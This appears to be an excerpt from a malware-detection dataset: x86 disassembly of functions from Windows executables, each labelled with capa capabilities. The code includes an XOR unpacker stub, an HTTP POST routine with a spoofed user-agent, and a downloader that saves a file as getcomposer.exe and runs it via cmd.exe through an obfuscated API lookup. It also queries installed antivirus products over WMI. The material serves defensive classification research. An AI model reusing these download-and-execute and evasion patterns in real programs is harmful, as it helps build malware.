joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4fd5b0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x4fd64d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x1c]
call fcn.00413924
test al, al
je 0x4fd61c
lea edx, [ebp - 8]
mov eax, dword [ebx + 4]
call fcn.004c2fbc
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004bc3c8
mov ecx, dword [ebp - 4]
mov edx, dword [ebx + 0x1c]
mov eax, ebx
call fcn.004fd3a4
push 0
mov eax, dword [0x515b90]
call fcn.004927b0
push eax
call sub.user32.dll_ShowWindow
mov eax, ebx
call fcn.004fce58
mov eax, dword [0x515b90]
call fcn.004b43a8
jmp 0x4fd632
mov edx, 0x4fd668
mov eax, ebx
call fcn.004fe158
mov eax, dword [0x515b90]
call fcn.004b43a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4fd654
lea eax, [ebp - 8]
mov edx, 2
call fcn.00406b3c
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x53f00674
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x72b24be6
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401400
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp + 4], 0
sub esp, 0x14
movaps xmm0, xmmword [0x4a4170]
movups xmmword [esp + 4], xmm0
mov dword [esp], str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_91.0.4472.124_Safari_537.36_Edg_91.0.864.59
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ecx, dword [0x4c352c]
sub esp, 0x20
movaps xmm0, xmmword [0x4a4180]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], ecx
mov dword [esp + 0x20], eax
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetConnectW]
mov edi, eax
mov eax, dword [0x4c3530]
sub esp, 0x20
xorps xmm0, xmm0
movups xmmword [esp + 0xc], xmm0
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 0x1c], 0
mov dword [esp + 4], str.POST
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebp, eax
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push str.Cache_Control:_no_cache
call ebx
mov esi, dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
push 0x20000000
push eax
push str.Cache_Control:_no_cache
push ebp
call esi
push str.Pragma:_no_cache
call ebx
push 0x20000000
push eax
push str.Pragma:_no_cache
push ebp
call esi
push str.Content_Type:_application_x_www_form_urlencoded
call ebx
push dword [esp + 0x20]
push dword [esp + 0x20]
push eax
push str.Content_Type:_application_x_www_form_urlencoded
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x40151c
lea eax, [esp + 4]
push eax
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
xor ebx, ebx
test eax, eax
setne bl
shl ebx, 4
or ebx, 1
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call esi
push edi
call esi
push dword [esp]
call esi
jmp 0x401521
mov ebx, 1
mov eax, ebx
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x401530
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push edi
push esi
sub esp, 8
mov eax, esp
push eax
push 0x101
push 0
push dword [esp + 0x28]
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x4015ad
mov edi, dword [esp + 0x20]
lea ebx, [esp + 4]
push ebx
push 0
push 0
push 0
push edi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor esi, esi
test eax, eax
jne 0x4015a4
mov eax, dword [esp + 4]
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [esp + 0x24]
push ebx
push esi
push eax
push 0
push edi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4015a4
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
add esp, 8
pop esi
pop edi
pop ebx
ret
Function at 0x4015c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push edi
push esi
sub esp, 8
mov eax, esp
push eax
push 0x101
push 0
push dword [esp + 0x28]
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor esi, esi
test eax, eax
jne 0x40163d
mov edi, dword [esp + 0x20]
lea ebx, [esp + 4]
push ebx
push 0
push 0
push 0
push edi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor esi, esi
test eax, eax
jne 0x401634
mov eax, dword [esp + 4]
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
lea eax, [esp + 0x24]
push ebx
push esi
push eax
push 0
push edi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401634
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
add esp, 8
pop esi
pop edi
pop ebx
ret

Function at 0x401650
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x60
mov eax, dword [ebp + 8]
xor esi, esi
test eax, eax
je 0x401717
lea ecx, [esp + 4]
push 0
push 0
push ecx
push eax
push 0
call sub.urlmon.dll_URLOpenBlockingStreamW
test eax, eax
js 0x401717
mov eax, dword [esp + 4]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push 1
push edx
push eax
call dword [ecx + 0x30]
xor esi, esi
test eax, eax
js 0x40170d
mov ebx, dword [ebp + 0xc]
mov eax, dword [esp + 0x18]
inc eax
mov dword [ebx], eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
je 0x40170d
mov edi, eax
push dword [ebx]
push 0
push eax
call fcn.00482300
add esp, 0xc
mov eax, dword [esp + 4]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov ecx, dword [eax]
sub esp, 0x14
movsd xmm0, qword [esp + 0x1c]
movsd qword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call dword [ecx + 0x14]
mov eax, dword [esp + 4]
mov ecx, dword [ebx]
dec ecx
mov edx, dword [eax]
push 0
push ecx
push edi
push eax
call dword [edx + 0xc]
mov esi, edi
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401730
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [ebp - 0x18], esp
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x407d50
mov ecx, dword fs:[0]
mov dword [ebp - 0x14], ecx
mov dword fs:[0], eax
test esi, esi
je 0x401810
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x28], 0
je 0x401832
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
lea edi, [eax + 0x10]
cmp byte [eax + 0x24], 0
je 0x4017ed
nop
movss xmm1, dword [edi]
movaps xmm0, xmmword [0x4a41a0]
xorps xmm1, xmm0
movaps xmm2, xmmword [0x4a41b0]
movss xmm3, dword [edi + 8]
xorps xmm3, xmm0
movss xmm4, dword [edi + 0xc]
xorps xmm4, xmm2
unpcklps xmm3, xmm4
movss xmm4, dword [edi + 4]
xorps xmm4, xmm2
unpcklps xmm1, xmm4
movlhps xmm1, xmm3
movups xmmword [edi], xmm1
movss xmm1, dword [edi + 0x10]
xorps xmm1, xmm0
movss dword [edi + 0x10], xmm1
mov byte [edi + 0x14], 0
nop
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401814
nop
push esi
call eax
mov eax, 1
jmp 0x401821
xor eax, eax
jmp 0x401821
nop
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, 1
mov ecx, dword [ebp - 0x14]
mov dword fs:[0], ecx
add esp, 0x10
pop esi
pop edi
pop ebp
ret
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x28], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x24], 1
movaps xmm0, xmmword [0x4a4190]
movaps xmmword [eax + 0x10], xmm0
mov dword [eax + 0x20], 0x2946198f
push 0x407400
call fcn.00407fab
add esp, 4
jmp 0x401783
Function at 0x401a70
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x4060
call fcn.00408020
mov edi, dword [ebp + 0x14]
push 0x2000
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push dword [0x4c9564]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4ae0fe
push esi
call ebx
push edi
push esi
call ebx
push 0
mov dword [esp + 0xc], esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [esp + 0x14]
push eax
push 0
push dword [ebp + 8]
call fcn.0040b420
add esp, 0xc
mov esi, eax
lea eax, [esp + 0x18]
push eax
call fcn.0040cf70
add esp, 4
push 0
mov dword [esp + 8], esi
push esi
call fcn.0040b3c0
add esp, 8
cmp eax, 1
sbb edx, 0
jl 0x401cc7
xor edi, edi
xor esi, esi
jmp 0x401b30
inc edi
xor esi, esi
push 0
push dword [esp + 8]
call fcn.0040b3c0
add esp, 8
cmp edi, eax
mov eax, 0
sbb eax, edx
jge 0x401cc7
lea eax, [esp + 0x18]
push eax
push 0
push esi
push edi
push dword [esp + 0x14]
call fcn.0040cd00
add esp, 0x14
test eax, eax
jne 0x401b10
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x28]
push dword [esp + 0x10]
call fcn.0040ccc0
add esp, 0x10
mov eax, dword [esp + 0x30]
mov dword [esp + 0xc], eax
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
jmp 0x401b86
push 9
push dword [esp + 0x24]
push dword [esp + 0xc]
call fcn.0040b300
add esp, 0xc
mov esi, eax
jmp 0x401bac
jmp 0x401bbe
push 0
push dword [esp + 0x10]
push ebx
push esi
call fcn.0040b340
add esp, 0x10
jmp 0x401be0
jmp 0x401bf2
push esi
call fcn.0040b2d0
add esp, 4
jmp 0x401c0d
push 0x2000
push 0
lea esi, [esp + 0x64]
push esi
call fcn.00482300
add esp, 0xc
push dword [esp + 0x20]
push dword [esp + 0xc]
push str._s_hs
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
sub esp, 0xc
movaps xmm0, xmmword [0x4a41e0]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
push 0x4adfd8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x401b10
push 0x2000
push 0
lea esi, [esp + 0x2064]
push esi
call fcn.00482300
add esp, 0xc
lea eax, [esp + 0x5c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x401b10
push dword [esp + 4]
call fcn.00409ec0
add esp, 4
lea eax, [esp + 0x205c]
push eax
call fcn.004018c0
add esp, 4
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401d00
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
sub esp, 0x24
movaps xmm0, xmmword [0x4a41f0]
movups xmmword [esp + 0x10], xmm0
movaps xmm0, xmmword [0x4a4200]
movups xmmword [esp], xmm0
mov dword [esp + 0x20], 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [esp + 0xc], 0
lea eax, [esp + 0xc]
push eax
push 0x4a4464
push 1
push 0
push 0x4a4474
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [esp + 4], 0
push str.rootSecurityCenter2
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx]
sub esp, 0x24
lea esi, [esp + 0x28]
mov dword [esp + 0x20], esi
xorps xmm0, xmm0
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
call dword [edx + 0xc]
test eax, eax
js 0x401ec1
mov eax, dword [esp + 4]
sub esp, 0x20
movaps xmm0, xmmword [0x4a4210]
movups xmmword [esp + 4], xmm0
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov edi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0x4ae122
call edi
mov esi, eax
push str.SELECT__FROM_AntiVirusProduct
call edi
mov dword [esp + 8], 0
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
lea edi, [esp + 8]
push edi
push 0
push 0x20
push eax
push esi
push ecx
call dword [edx + 0x50]
test eax, eax
js 0x401ead
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 8]
test eax, eax
je 0x401ead
mov esi, 0x4c555c
lea edi, [esp + 0x18]
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantCopy]
nop word cs:[eax + eax]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
lea edx, [esp + 0x18]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [esp + 0x10], 0
je 0x401ead
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
push 0
push 0
push edi
push 0
push str.displayName
push eax
call dword [ecx + 0x10]
push 0x1000
push 0
push esi
call fcn.00482300
add esp, 0xc
push dword [esp + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call ebx
mov eax, dword [esp + 8]
add esi, 0x1000
test eax, eax
jne 0x401e50
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x405ac0
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x2018
call fcn.00408020
nop
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x407dc0
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0x4a4430
call sub.SHELL32.dll_SHGetKnownFolderPath
lea edi, [ebp - 0x2024]
push 0x2000
push 0
push edi
call fcn.00482300
add esp, 0xc
push dword [ebp - 0x24]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4ae0fe
push edi
call esi
push str.getcomposer.exe
push edi
call esi
mov esi, 0x3ec
add esi, dword [0x4c2d24]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0
push eax
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, eax
lea eax, [eax*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
jmp 0x405b88
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push ebx
push eax
push esi
lea esi, [ebp - 0x2024]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x405bb8
push 0
push 0
push esi
push ebx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x405c9d
nop
mov dword [ebp - 0x20], ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x40]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push esi
push str._k___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0x248], 0
je 0x405cbb
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
lea esi, [eax + 0x238]
cmp byte [eax + 0x246], 0
je 0x405c56
movsd xmm0, qword [esi]
xorps xmm0, xmmword [0x4a4380]
movlps qword [esi], xmm0
xor dword [esi + 8], 0x1df3eda3
xor byte [esi + 0xc], 0xbd
xor byte [esi + 0xd], 0x8d
mov byte [esi + 0xe], 0
nop
push str.Shell32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
push 0
push 0
push edi
push str.cmd.exe
push str.open
push 0
call ebx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [0x4c5538], 1
nop
mov ebx, dword [ebp - 0x20]
nop
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
xor eax, eax
add esp, 0x2018
pop esi
pop edi
pop ebx
pop ebp
ret
nop
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x248], 1
mov eax, dword [0x4c9590]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0x246], 1
movsd xmm0, qword [0x4a4370]
movsd qword [eax + 0x238], xmm0
mov dword [eax + 0x240], 0x788798c0
mov word [eax + 0x244], 0x8dea
push 0x407ba0
call fcn.00407fab
add esp, 4
jmp 0x405c16
Function at 0x413600
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor edx, edx
push edi
xor edi, edi
bts edi, eax
cmp eax, 0x20
cmovae edx, edi
xor edi, edx
cmp eax, 0x40
mov eax, dword [esp + 0xc]
cmovae edx, edi
test eax, eax
js 0x41364c
push ebx
push esi
lea ebx, [esp + 0x14]
xor ecx, ecx
lea ebx, [ebx + 4]
bts ecx, eax
xor esi, esi
cmp eax, 0x20
cmovae esi, ecx
xor ecx, esi
cmp eax, 0x40
mov eax, dword [ebx]
cmovae esi, ecx
or edi, ecx
or edx, esi
test eax, eax
jns 0x413628
pop esi
pop ebx
mov eax, edi
pop edi
ret

Function at 0x418260
Capabilities:
Hash data using djb2

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
mov ecx, 0x1505
test edi, edi
jne 0x418276
pop edi
xor eax, eax
pop esi
ret
push ebx
mov bl, byte [edi]
test bl, bl
je 0x4182a0
nop dword [eax]
mov eax, ecx
lea edi, [edi + 1]
mov edx, esi
shld esi, ecx, 5
shl ecx, 5
add ecx, eax
movzx eax, bl
mov bl, byte [edi]
adc esi, edx
cdq
add ecx, eax
adc esi, edx
test bl, bl
jne 0x418280
pop ebx
pop edi
mov eax, ecx
pop esi
ret
Function at 0x41d9b0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x41da5f
push esi
call fcn.00436580
add esp, 4
test al, al
jne 0x41da5f
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x41d9d7
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.004416e0
add esp, 0xc
test eax, eax
je 0x41da0b
sub eax, esi
push eax
push 0x2e
push esi
call fcn.004416e0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x41da0d
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
lea ebx, [esi + edi]
mov edi, 0x1505
cmp esi, ebx
jae 0x41da3e
nop dword [eax]
mov al, byte [esi]
push eax
call fcn.0042dd10
movsx ecx, al
inc esi
mov eax, edi
add esp, 4
shl eax, 5
add eax, edi
xor ecx, eax
mov edi, ecx
cmp esi, ebx
jb 0x41da20
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x42be50
Capabilities:
Get common file path
Initialize winsock library
Link many functions at runtime

Disassembly:
sub esp, 0x198
mov eax, dword [0x4c1080]
xor eax, esp
mov dword [esp + 0x194], eax
test byte [esp + 0x19c], 2
je 0x42beb1
lea eax, [esp + 4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x42be97
mov eax, dword [esp + 4]
cmp al, 2
jne 0x42be91
shr eax, 8
cmp al, 2
je 0x42beb1
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00411021
add esp, 0x198
ret
call fcn.00461440
test eax, eax
jne 0x42c097
push ebp
push esi
push edi
push str.kernel32
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x42bee5
mov dword [0x4c9a04], esi
jmp 0x42c01c
push ebx
push 0x4b5c04
push edi
call ebp
push 0x4bc094
push str.iphlpapi.dll
mov ebx, eax
call fcn.00495ff6
add esp, 8
test eax, eax
je 0x42bf2e
test ebx, ebx
je 0x42bf1c
push 8
push 0
push str.iphlpapi.dll
call ebx
mov esi, eax
jmp 0x42c000
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
jmp 0x42c000
test ebx, ebx
je 0x42bf53
push str.AddDllDirectory
push edi
call ebp
test eax, eax
je 0x42bf53
push 0x800
push 0
push str.iphlpapi.dll
call ebx
mov esi, eax
jmp 0x42c000
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [esp + 0x10], eax
test eax, eax
je 0x42c000
lea ecx, [eax*2 + 0x1a]
push ecx
call dword [0x4c1038]
mov edi, eax
add esp, 4
test edi, edi
je 0x42bff6
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x42bff6
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42bf94
sub ecx, edx
mov edx, edi
sar ecx, 1
mov dword [edi + ecx*2], 0x5c
lea ecx, [edx + 2]
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x42bfb0
sub edx, ecx
mov ecx, str.iphlpapi.dll
sar edx, 1
add edx, edx
sub edx, ecx
add edx, edi
nop word [eax + eax]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x42bfd0
test ebx, ebx
je 0x42bfed
push 8
push 0
push edi
call ebx
jmp 0x42bff4
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push edi
call dword [0x4c103c]
add esp, 4
mov dword [0x4c9a04], esi
pop ebx
test esi, esi
je 0x42c01c
push str.if_nametoindex
push esi
call ebp
test eax, eax
je 0x42c01c
mov dword [0x4c99f4], eax
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
je 0x42c054
push str.FreeAddrInfoExW
push esi
call ebp
push str.GetAddrInfoExCancel
push esi
mov dword [0x4c99f8], eax
call ebp
push str.GetAddrInfoExW
push esi
mov dword [0x4c99fc], eax
call ebp
mov dword [0x4c9a00], eax
push 3
push 2
push 0
push 0
push 6
call fcn.00461200
push 3
push 2
push 0
test al, al
push 2
push 6
setne byte [0x4c9a10]
call fcn.00461200
add esp, 0x28
test al, al
setne byte [0x4c9a11]
push 0x4c9a08
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00411021
add esp, 0x198
ret